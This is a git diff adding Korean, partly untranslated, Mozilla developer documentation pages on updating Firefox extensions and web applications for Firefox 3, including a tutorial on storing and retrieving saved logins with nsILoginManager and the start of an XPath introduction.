+<h3 id=".EB.8B.A8.EA.B3.84_3_.EB.B3.80.EA.B2.BD.EB.90.9C_API_.EC.B2.98.EB.A6.AC.ED.95.98.EA.B8.B0" name=".EB.8B.A8.EA.B3.84_3:_.EB.B3.80.EA.B2.BD.EB.90.9C_API_.EC.B2.98.EB.A6.AC.ED.95.98.EA.B8.B0">단계 3: 변경된 API 처리하기</h3>
+
+<p>몇 가지 API에서 중요한 변화가 있었습니다. 다음은 대부분의 확장 기능에 영향을 줄 것으로 보이는, 가장 중요한 변화들 입니다.</p>
+
+<h4 id="DOM" name="DOM">DOM</h4>
+
+<p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p>
+
+<h4 id=".EB.B6.81.EB.A7.88.ED.81.AC__.ED.9E.88.EC.8A.A4.ED.86.A0.EB.A6.AC" name=".EB.B6.81.EB.A7.88.ED.81.AC_&amp;_.ED.9E.88.EC.8A.A4.ED.86.A0.EB.A6.AC">북마크 &amp; 히스토리</h4>
+
+<p>여러분의 확장 기능이 어떤 방식으로든 북마크나 히스토리 자료에 접근한다면, Firefox 3과 호환되도록 하기 위해 많은 수정 작업이 필요합니다. 해당 정보에 접근하는데 사용되었던 기존 API는 새로운 <a href="ko/Places">Places</a> 구조로 변경되었습니다. 기존 확장 기능을 Places API를 사용하도록 업데이트하는 것과 관련된 상세 내용은 <a href="ko/Places/Migration_Guide">플레이스로 이행 가이드</a>를 참조하세요.</p>
+
+<h4 id=".EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C_.EA.B4.80.EB.A6.AC.EC.9E.90" name=".EB.8B.A4.EC.9A.B4.EB.A1.9C.EB.93.9C_.EA.B4.80.EB.A6.AC.EC.9E.90">다운로드 관리자</h4>
+
+<p>다운로드 관리자 API는 RDF data store에서 [Storage]] API로의 변경으로 인하여 약간의 변경 사항이 있습니다. 이와 관련된 변경은 꽤 쉽습니다. 추가적으로 다운로드 진행을 모니터링하는 API에서는 다중 다운로드 관리자 리스너를 지원하도록 변경되었습니다. 자세한 내용은 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadProgressListener" title="">nsIDownloadProgressListener</a></code>, <a href="ko/Monitoring_downloads">Monitoring downloads</a>를 참조하세요.</p>
+
+<h4 id=".EC.95.94.ED.98.B8_.EA.B4.80.EB.A6.AC.EC.9E.90" name=".EC.95.94.ED.98.B8_.EA.B4.80.EB.A6.AC.EC.9E.90">암호 관리자</h4>
+
+<p>여러분의 확장기능이 암호 관리자를 이용하여 사용자의 로그인 정보에 접근한다면, 새로운 암호 관리자 API를 사용하도록 업데이트해야만 합니다.</p>
+
+<ul>
+ <li>The article <a href="ko/Using_nsILoginManager">Using nsILoginManager</a> includes examples, including a demonstration of how to write your extension to work with both the Password Manager and the Login Manager, so it will work with both Firefox 3 and earlier versions.</li>
+ <li><code><a href="ko/NsILoginInfo">nsILoginInfo</a></code></li>
+ <li><code><a href="ko/NsILoginManager">nsILoginManager</a></code></li>
+</ul>
+
+<h4 id="Popups_.28Menus.2C_Context_Menus.2C_Tooltips_and_Panels.29" name="Popups_.28Menus.2C_Context_Menus.2C_Tooltips_and_Panels.29">Popups (Menus, Context Menus, Tooltips and Panels)</h4>
+
+<p>The XUL Popup system was heavily modified in Firefox 3. The Popup system includes main menus, context menus and popup panels. A guide to <a href="ko/XUL/PopupGuide">using Popups</a> has been created, detailing how the system works. One thing to note is that <code>popup.<span id="m-showPopup"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/showPopup">showPopup</a></code></span></code> has been deprecated in favor of new <code>popup.<span id="m-openPopup"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/openPopup">openPopup</a></code></span></code> and <code>popup.<span id="m-openPopupAtScreen"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/openPopupAtScreen">openPopupAtScreen</a></code></span></code>.</p>
+
+<h4 id=".EC.A0.9C.EA.B1.B0.EB.90.9C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name=".EC.A0.9C.EA.B1.B0.EB.90.9C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">제거된 인터페이스</h4>
+
+<p>다음 인터페이스들은 Firefox 3의 기반인 Gecko 1.9에서 제거되었습니다. 확장 기능이 이것들을 사용한다면 코드를 업데이트 해야 합니다.</p>
+
+<ul>
+ <li><code>nsIDOMPaintListener</code></li>
+ <li><code>nsIDOMScrollListener</code></li>
+ <li><code>nsIDOMMutationListener</code></li>
+ <li><code>nsIDOMPageTransitionListener</code></li>
+ <li><code>nsICloseAllWindows</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=386200" title='FIXED: SeaMonkey only: no "view cert button" in untrusted cert error dialog'>bug 386200</a> 참조)</li>
+</ul>
+
+<h3 id="Step_4_Check_for_relevant_chrome_changes" name="Step_4:_Check_for_relevant_chrome_changes">Step 4: Check for relevant chrome changes</h3>
+
+<p>There has been a minor change to the chrome that may require changes in your code. A new <code>vbox</code> has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window. Although this doesn't affect the appearance of the display, it may affect your extension if it overlays chrome relative to these elements.</p>
+
+<p>For example, if you previously overlaid some chrome before the status bar, like this:</p>
+
+<pre>&lt;window id="main-window"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/window&gt;
+</pre>
+
+<p>You should now overlay it like this:</p>
+
+<pre>&lt;vbox id="browser-bottombox"&gt;
+  &lt;something insertbefore="status-bar" /&gt;
+&lt;/vbox&gt;
+</pre>
+
+<div class="blockIndicator note"><strong>주의:</strong> This change is effective for Firefox 3 beta 4 and the pre-beta 4 nightlies.</div>
+
+<h3 id=".EA.B7.B8_.EB.B0.96.EC.9D.98_.EB.B3.80.ED.99.94.EB.93.A4" name=".EA.B7.B8_.EB.B0.96.EC.9D.98_.EB.B3.80.ED.99.94.EB.93.A4">그 밖의 변화들</h3>
+
+<p><em>여러분의 확장기능이 Firefox 3에서 제대로 동작하기 위해 업데이트 했던 간단한 사항들을 추가해 주세요.</em></p>
+
+<ul>
+ <li><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAboutModule" title="">nsIAboutModule</a></code> implementations are now required to support the <code>getURIFlags</code> method. See <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/public/nsIAboutModule.idl" rel="custom">nsIAboutModule.idl</a> for documentation. This affects extensions that provide new about: URIs. (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=337746" title='FIXED: [FIX]Move "safe about" hardcoding out of security manager'>bug 337746</a>)</li>
+ <li>더 이상 <code><a href="/ko/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>은 "toolkit"의 일부가 아닙니다(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=339964" title="FIXED: move tabbrowser.xml out of mozilla/toolkit and into mozilla/browser">bug 339964</a>). 이는 이 요소가 더이상 XUL 응용 프로그램과 확장기능에서 사용 가능하지 않다는 것을 의미합니다. 이 요소는 메인 Firefox 윈도우(browser.xul)에서는 계속 사용될 것입니다.</li>
+ <li>Changes to <a href="ko/NsISupports_proxies">nsISupports proxies</a> <a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8"> and possibly to threading-related interfaces need to be documented. </a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8">만일 XUL 파일에 <code>&lt;?xml-stylesheet ?&gt;</code>와 같은 XML 처리 지시문(processing instructions)을 사용하고 있다면 </a><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=319654" title="FIXED: Processing instructions in XUL are not added to the content model">bug 319654</a>을 참고하세요.
+  <ol>
+   <li><a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8">XML 처리 지시문은 XUL 문서의 DOM에 추가됩니다. 이것은 </a><a href="/ko/docs/Web/API/Document/firstChild" title="The documentation about this has not yet been written; please consider contributing!"><code>document.firstChild</code></a>이 문서의 루트 요소를 나타내지 않을 수도 있다는 것을 의미합니다. 스크립트에서 문서의 루트 요소를 얻으려면, 대신 <a href="/ko/docs/Web/API/Document/documentElement" title="Document.documentElement 는 읽기 전용 속성으로 document 의 루트 요소인 Element를 반환한다 (가령, HTML 문서의 &lt;html> 요소)."><code>document.documentElement</code></a>을 사용하세요. </li>
+   <li><a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8"><code>&lt;?xml-stylesheet ?&gt;</code> and <code>&lt;?xul-overlay ?&gt;</code> processing instructions now have no effect outside the document prolog. </a></li>
+  </ol>
+ </li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/78236a4b312a2de4/939240fc3f5123a8?lnk=st&amp;rnum=1#939240fc3f5123a8"><code>window.addEventListener("load", myFunc, true)</code> is not fired when loading web content (browser page loads). This is due to </a><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=296639" title="FIXED: Split windows into an inner and outer object">bug 296639</a> which changes the way inner and outer windows communicate. The simple fix here is to use <code>gBrowser.addEventListener("load", myFunc, true)</code> as described <a href="ko/Code_snippets/Tabbed_browser#Detecting_page_load">here</a> and works in Firefox 2 as well.</li>
+ <li>기존의 문자열을 반환하는 deprecated <code>content.document.getSelection()</code>와 달리 <code>content.window.getSelection()</code>은 객체를 반환하며 <code>toString()</code>로 문자열로 변환할 수 있습니다.</li>
+ <li><code>event.preventBubble()</code> was deprecated in Firefox 2 and has been removed in Firefox 3. Use <a href="ko/DOM/event.stopPropagation"><code>event.stopPropagation()</code></a>, which also works in Firefox 2 as well.</li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/ko/updating_web_applications_for_firefox_3/index.html b/files/ko/updating_web_applications_for_firefox_3/index.html
new file mode 100644
index 0000000000..6598042587
--- /dev/null
+++ b/files/ko/updating_web_applications_for_firefox_3/index.html
@@ -0,0 +1,38 @@
+---
+title: Updating web applications for Firefox 3
+slug: Updating_web_applications_for_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications
+---
+<p>{{ Fx_minversion_header(3) }}{{ Draft() }} Firefox 3에는 웹 사이트와 웹 애플리케이션에 영향을 줄 수 있는 다수의 변경 사항과 잇점을 줄 수 있는 새로운 기능이 포함 되어 있습니다. 이 문서는 Firefox 3의 잇점을 최대한 이용 가능할 수 있도록 웹 사이트를 업데이트 하는 방법을 알려 줄 것입니다.</p>
+
+<p>Firefox 3는 2007년 가을 현재 베타 버전을 출시하였습니다.</p>
+
+<p>이 문서를 계속 주시하시면 추가 사항들을 계속 업데이트 할 것입니다.</p>
+
+<h3 id="DOM_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD" name="DOM_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD">DOM 변경 사항</h3>
+
+<p></p><p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p><p></p>
+
+<h3 id="HTML_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD" name="HTML_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD">HTML 변경 사항</h3>
+
+<p>Firefox 3는 frame과 iframe이 부모의 문자 인코딩을 상속받도록 하는 보안 문제를 해결하였습니다. 이 문제는 여러 가지 이슈를 만들어내었습니다. 이제 frame은 두 frame이 같은 서버에서 읽으면 부모의 문자 인코딩만 상속 받습니다. 만약 여러분의 웹 페이지 내에서 다른 서버에 있는 웹 페이지를 frame으로 호출할 경우, HTML로 특정 문자 인코딩을 선언해 주어야 합니다.</p>
+
+<h3 id="JavaScript_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD" name="JavaScript_.EB.B3.80.EA.B2.BD_.EC.82.AC.ED.95.AD">JavaScript 변경 사항</h3>
+
+<p>Firefox 3는 <a href="ko/New_in_JavaScript_1.8">JavaScript 1.8</a>을 지원 합니다. 웹 사이트에서 변경 해야할 주요 사항은 이제 더 이상 사용하지 않는 비표준 <code>Script</code> 객체를 더 이상 지원하지 않는 다는 것입니다. 그러나 <code>Script</code>가 비표준이기 때문에 대부분 이런 문제를 가지고 있지 않을 것으로 판단 하고 있습니다.</p>
+
+<h3 id=".EC.B0.B8.EA.B3.A0_.EC.82.AC.ED.95.AD" name=".EC.B0.B8.EA.B3.A0_.EC.82.AC.ED.95.AD">참고 사항</h3>
+
+<p><a href="ko/Firefox_3_for_developers">Firefox 3 개발자 필독 사항</a>, <a href="ko/New_in_JavaScript_1.8">JavaScript 1.8</a>, <a href="ko/Updating_extensions_for_Firefox_3">Firefox 3를 위한 확장 기능 업데이트</a></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "fr": "fr/Mise_\u00e0_jour_des_applications_Web_pour_Firefox_3", "en": "en/Updating_web_applications_for_Firefox_3", "ja": "ja/Updating_web_applications_for_Firefox_3" } ) }}</p>
diff --git a/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html b/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html
new file mode 100644
index 0000000000..194ca2c7b7
--- /dev/null
+++ b/files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html
@@ -0,0 +1,13 @@
+---
+title: Using Mozilla in Testing and Debugging Web Sites
+slug: Using_Mozilla_in_Testing_and_Debugging_Web_Sites
+translation_of: Using_Mozilla_in_Testing_and_Debugging_Web_Sites
+---
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information"> Original Document Information </h3>
+<ul><li> Author(s): <a class="external" href="http://gemal.dk/">Henrik Gemal</a>
+</li><li> Last Updated Date: Published 11 Apr 2003
+</li><li> Copyright Information: © Copyright 2003 Henrik Gemal. <a class="external" href="http://gemal.dk/mozilla/mozdev.html">Reprinted</a> with permission.
+</li><li> Note: This reprinted article was originally part of the DevEdge site.
+</li></ul>
+</div>
diff --git a/files/ko/using_nsiloginmanager/index.html b/files/ko/using_nsiloginmanager/index.html
new file mode 100644
index 0000000000..738636ae3e
--- /dev/null
+++ b/files/ko/using_nsiloginmanager/index.html
@@ -0,0 +1,141 @@
+---
+title: Using nsILoginManager
+slug: Using_nsILoginManager
+tags:
+  - Firefox 3
+  - Interfaces
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager/Using_nsILoginManager
+---
+<p></p>
+<h3 id=".EB.A1.9C.EA.B7.B8.EC.9D.B8_.EA.B4.80.EB.A6.AC.EC.9E.90.EB.A1.9C_.EC.9E.91.EC.97.85_.ED.95.98.EA.B8.B0" name=".EB.A1.9C.EA.B7.B8.EC.9D.B8_.EA.B4.80.EB.A6.AC.EC.9E.90.EB.A1.9C_.EC.9E.91.EC.97.85_.ED.95.98.EA.B8.B0">로그인 관리자로 작업 하기</h3>
+<p>확장은 종종 외부 사이트나 웹 애플리케이션 등의 암호를 안전하게 저장할 필요가 있습니다. 그러기 위해서는 민감한 암호 정보를 저장하기 위한 안전한 저장소를 제공하는 <code><a href="ko/NsILoginManager">nsILoginManager</a></code>와 로그인 정보를 저장하는 방법을 제공하는 <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code>를 사용할 수 있습니다.</p>
+<h3 id="nsILoginManager_.EC.96.BB.EA.B8.B0" name="nsILoginManager_.EC.96.BB.EA.B8.B0"><code>nsILoginManager 얻기</code></h3>
+<p><code>nsILoginManager</code>를 구현한 콤포넌트를 얻으려면 다음 코드를 사용합니다.</p>
+<pre>var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                                .getService(Components.interfaces.nsILoginManager);
+</pre>
+<p>대부분의 로그인 관리자 함수는 <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 개체를 매개 변수로 취합니다. <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 개체는 다음과 같은 속성을 포함합니다: hostname, form submit URL, HTTP realm, username, username field, password, password field. hostname, username, password는 필수 속성이지만 기타 필드는 로그인이 웹 페이지 양식을 위한 것인지 아니면 HTTP/FTP 인증 사이트 로그인인지에 따라 설정됩니다. 자세한 정보는 <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 속성 정의를 참고하시기 바랍니다. <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 개체를 정의하는 것은 간단합니다.</p>
+<pre>var nsLoginInfo = new Components.Constructor("@mozilla.org/login-manager/loginInfo;1",
+                                             Components.interfaces.nsILoginInfo,
+                                             "init");
+
+var loginInfo = new nsLoginInfo(hostname, formSubmitURL, httprealm, username, password,
+                                usernameField, passwordField);
+</pre>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<h4 id=".EC.9B.B9_.ED.8E.98.EC.9D.B4.EC.A7.80.EB.A5.BC_.EC.9C.84.ED.95.9C_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1" name=".EC.9B.B9_.ED.8E.98.EC.9D.B4.EC.A7.80.EB.A5.BC_.EC.9C.84.ED.95.9C_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1">웹 페이지를 위한 로그인 생성</h4>
+<pre class="eval"> <span class="nowiki">var formLoginInfo = new nsLoginInfo('http://www.example.com',
+                       'http://login.example.com', null,
+                       'joe', 'SeCrEt123', 'uname', 'pword');</span>
+</pre>
+<p>이 로그인은 다음과 같은 HTML 양식에 해당합니다.</p>
+<pre class="eval"> <span class="nowiki">
+  &lt;form action="http://login.example.com/foo/authenticate.cgi"&gt;
+  Please log in.
+  Username: &lt;input type="text"     name="uname"&gt;
+  Password: &lt;input type="password" name="pword"&gt;
+  &lt;/form&gt;
+  </span>
+</pre>
+<h4 id=".EC.82.AC.EC.9D.B4.ED.8A.B8_.EC.9D.B8.EC.A6.9D_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1" name=".EC.82.AC.EC.9D.B4.ED.8A.B8_.EC.9D.B8.EC.A6.9D_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1">사이트 인증 로그인 생성</h4>
+<pre class="eval"> <span class="nowiki">var authLoginInfo = new nsLoginInfo('http://www.example.com',
+                       null, 'ExampleCo Login',
+                       'alice', 'SeCrEt321', null, null);</span>
+</pre>
+<p>이는 서버가 다음과 같은 응답을 보낼 때 <span class="nowiki">http://www.example.com</span>에 로그인 하는 것에 해당합니다.</p>
+<pre class="eval"> HTTP/1.0 401 Authorization Required
+ Server: Apache/1.3.27
+ WWW-Authenticate: Basic realm="ExampleCo Login"
+</pre>
+<h4 id=".EC.A7.80.EC.97.AD_.ED.99.95.EC.9E.A5_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1" name=".EC.A7.80.EC.97.AD_.ED.99.95.EC.9E.A5_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.83.9D.EC.84.B1">지역 확장 로그인 생성</h4>
+<pre class="eval"> <span class="nowiki">var extLoginInfo = new nsLoginInfo('chrome://firefoo',
+                      'User Registration', null,
+                      'bob', '123sEcReT', null, null);</span>
+</pre>
+<p>로그인 관리자는 이를 웹 사이트 로그인인 것처럼 취급합니다. 다른 확장과 충돌을 피하려면 확장의 <a class="external" rel="freelink">chrome://</a> URL과 로그인의 목적을 나타내는 영역 문자열을 사용해야 합니다.</p>
+<h3 id=".EC.95.94.ED.98.B8_.EC.A0.80.EC.9E.A5.ED.95.98.EA.B8.B0" name=".EC.95.94.ED.98.B8_.EC.A0.80.EC.9E.A5.ED.95.98.EA.B8.B0">암호 저장하기</h3>
+<p>로그인 관리자에 암호를 저장하려면 먼저 위에서 정의한 대로 <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 개체를 생성해야 합니다. 그리고 나서 간단하게 <code><a href="ko/NsILoginManager">nsILoginManager</a></code>의 메소드인 <code><a href="ko/NsILoginManager#addLogin.28.29">addLogin()</a></code>를 호출합니다.</p>
+<pre class="eval"> myLoginManager.addLogin(loginInfo);
+</pre>
+<p></p><div class="blockIndicator note"><strong>주의:</strong> &lt;tt&gt;httprealm&lt;/tt&gt;과 &lt;tt&gt;formSubmitURL&lt;/tt&gt; 매개 변수가 모두 <code>NULL</code>이면 여기에서 예외가 발생합니다. 암호를 저장하려면 하나를 지정해야 합니다. &lt;tt&gt;hostname&lt;/tt&gt;, &lt;tt&gt;username&lt;/tt&gt;, &lt;tt&gt;password&lt;/tt&gt; 매개 변수 또한 필수입니다.</div><p></p>
+<h3 id=".EC.95.94.ED.98.B8_.EA.B5.AC.ED.95.98.EA.B8.B0" name=".EC.95.94.ED.98.B8_.EA.B5.AC.ED.95.98.EA.B8.B0">암호 구하기</h3>
+<p>로그인 관리자에서 암호를 구하는 것은 약간 더 어렵습니다. 암호를 찾으려면 &lt;tt&gt;hostname&lt;/tt&gt;, &lt;tt&gt;formSubmitURL&lt;/tt&gt;, &lt;tt&gt;httprealm&lt;/tt&gt;이 찾을 암호를 위해 저장된 것과 <b>정확하게 일치</b>해야 합니다. 유일한 예외는 저장된 &lt;tt&gt;formSubmitURL&lt;/tt&gt;이 비어 있으면 이 경우에 &lt;tt&gt;formSubmitURL&lt;/tt&gt; 매개 변수는 무시한다는 것입니다. &lt;tt&gt;hostname&lt;/tt&gt;과 &lt;tt&gt;formSubmitURL&lt;/tt&gt; 인수는 전체 URL의 경로를 포함하면 안된다는 점에 주의하십시오. 아래 예제는 양식 로그인을 위한 시작점을 제공할 것입니다.</p>
+<pre>var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';  // not http://www.example.com/foo/auth.cgi
+var httprealm = null;
+var username = 'user';
+var password;
+
+try {
+   // Get Login Manager
+   var myLoginManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for the given parameters
+   var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   // Find user from returned array of nsILoginInfo objects
+   for (var i = 0; i &lt; logins.length; i++) {
+      if (logins[i].username == username) {
+         password = logins[i].password;
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+</pre>
+<p>사용자가 암호를 안전하게 보관하도록 마스터 암호를 지정했다면 이를 입력하라는 요청을 받게 된다는 점을 참고하십시오.</p>
+<h3 id=".EC.95.94.ED.98.B8_.EC.A0.9C.EA.B1.B0.ED.95.98.EA.B8.B0" name=".EC.95.94.ED.98.B8_.EC.A0.9C.EA.B1.B0.ED.95.98.EA.B8.B0">암호 제거하기</h3>
+<p>암호를 제거하는 것은 간단합니다.</p>
+<pre class="eval"> myLoginManager.removeLogin(loginInfo);
+</pre>
+<p>암호를 제거할 때 지정한 <code><a href="ko/NsILoginInfo">nsILoginInfo</a></code> 개체는 저장된 것과 <b>정확하게 일치해야</b> 하며 그렇지 않으면 예외가 발생합니다. 이는 password 속성을 포함합니다. 여기에 실제로 암호가 무엇인지 모르면서 암호를 제거하는 방법을 보여주는 예제가 있습니다.</p>
+<pre>// example values
+var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';
+var httprealm = null;
+var username = 'user';
+
+try {
+   // Get Login Manager
+   var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for this extension
+   var logins = passwordManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   for (var i = 0; i &lt; logins.length; i++) {
+      if (logins[i].username == username) {
+         passwordManager.removeLogin(logins[i]);
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+</pre>
+<h3 id=".EC.A0.80.EC.9E.A5.EB.90.9C_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.A0.95.EB.B3.B4_.EB.B3.80.EA.B2.BD.ED.95.98.EA.B8.B0" name=".EC.A0.80.EC.9E.A5.EB.90.9C_.EB.A1.9C.EA.B7.B8.EC.9D.B8_.EC.A0.95.EB.B3.B4_.EB.B3.80.EA.B2.BD.ED.95.98.EA.B8.B0">저장된 로그인 정보 변경하기</h3>
+<p>암호를 변경하는 것은 간단합니다. 여기에서 하는 모든 일은 <code><a href="ko/NsILoginManager#removeLogin.28.29">removeLogin()</a></code>를 호출하고 나서 <code><a href="ko/NsILoginManager#addLogin.28.29">addLogin()</a></code>를 호출하는 것이므로 두 가지 모두와 같은 주의 사항이 있습니다. 즉, &lt;tt&gt;oldLogin&lt;/tt&gt;은 기존 로그인과 정확하게 일치해야 하고 (위를 참고) &lt;tt&gt;newLogin&lt;/tt&gt; 속성은 올바르게 지정되야 합니다.</p>
+<pre>myLoginManager.modifyLogin(oldLogin, newLogin);</pre>
+<h3 id=".EB.94.94.EB.B2.84.EA.B9.85" name=".EB.94.94.EB.B2.84.EA.B9.85">디버깅</h3>
+<p>로그인 관리자 구현은 오류 콘솔로 디버그 메시지를 보내는 것이 가능한데, 이는 하고 있는 일을 어느 정도 보여줍니다. 디버그 로깅을 활성화하려면 <a class="external" href="http://wiki.mozilla.org/Firefox:Password_Manager_Debugging" rel="freelink">http://wiki.mozilla.org/Firefox:Pass...ager_Debugging</a> 을 참고하시기 바랍니다.</p>
+<h3 id="Firefox_.EA.B5.AC_.EB.B2.84.EC.A0.84_.EC.A7.80.EC.9B.90" name="Firefox_.EA.B5.AC_.EB.B2.84.EC.A0.84_.EC.A7.80.EC.9B.90">Firefox 구 버전 지원</h3>
+<p>여러분의 확장이 Firefox 3와 구 버전을 모두 지원하기를 바란다면 <code><a href="ko/NsILoginManager">nsILoginManager</a></code>와 <code><a href="ko/NsIPasswordManager">nsIPasswordManager</a></code> 콤포넌트를 모두 구현해야 합니다. 이를 위한 간단한 방법은 다음과 같습니다.</p>
+<pre>if ("@mozilla.org/passwordmanager;1" in Components.classes) {
+   // Password Manager exists so this is not Firefox 3 (could be Firefox 2, Netscape, SeaMonkey, etc).
+   // Password Manager code
+}
+else if ("@mozilla.org/login-manager;1" in Components.classes) {
+   // Login Manager exists so this is Firefox 3
+   // Login Manager code
+}
+</pre>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/using_xpath/index.html b/files/ko/using_xpath/index.html
new file mode 100644
index 0000000000..ec19f26bcc
--- /dev/null
+++ b/files/ko/using_xpath/index.html
@@ -0,0 +1,86 @@
+---
+title: Using XPath
+slug: Using_XPath
+tags:
+  - AJAX
+  - Add-ons
+  - DOM
+  - Extensions
+  - Transforming_XML_with_XSLT
+  - XPath
+translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript
+---
+<p><a href="ko/XPath">XPath</a>은 XML 문서의 위치 정보를 위한 언어입니다.
+</p><p>이 문서는 자바스크립트 코드와 XPath의 관계를 위한 Mozilla 인터페이스에 대해 설명합니다. 이러한 것들은 (이 부분에 대해 W3C 작업 그룹에서 작성한) <a class="external" href="http://www.w3.org/TR/DOM-Level-3-XPath/">DOM Level 3 XPath</a>에 설명되어 있습니다.
+</p><p>이 문서는 XPath 자체를 설명하지 않습니다. 기술에 대해 익숙하지 않다면 <a class="external" href="http://www.w3schools.com/xpath/">W3Schools XPath tutorial</a>을 참고하십시오.
+</p>
